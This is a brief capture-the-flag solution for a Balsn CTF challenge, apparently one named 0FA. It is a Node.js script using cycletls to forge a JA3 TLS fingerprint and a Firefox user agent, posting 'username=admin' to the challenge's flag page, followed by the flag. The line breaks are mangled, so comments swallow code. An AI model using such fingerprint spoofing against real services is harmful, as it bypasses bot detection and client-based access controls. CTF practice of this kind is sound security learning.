ja3

faking ja3 fingerprint

https://balsnctf.com/challenges#0FA-23

const initCycleTLS = require('cycletls')
// Typescript: import initCycleTLS from 'cycletls';;(async () => {
    // Initiate CycleTLS    const cycleTLS = await initCycleTLS()
    // Send request    const response = await cycleTLS(
        'https://0fa.balsnctf.com:8787/flag.php',        {
            body: 'username=admin',            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'            },            ja3: '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0',            userAgent: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0'        },        'post'    )
    console.log(response)
    // Cleanly exit CycleTLS    cycleTLS.exit()
})()
// BALSN{Ez3z_Ja3__W4rmUp}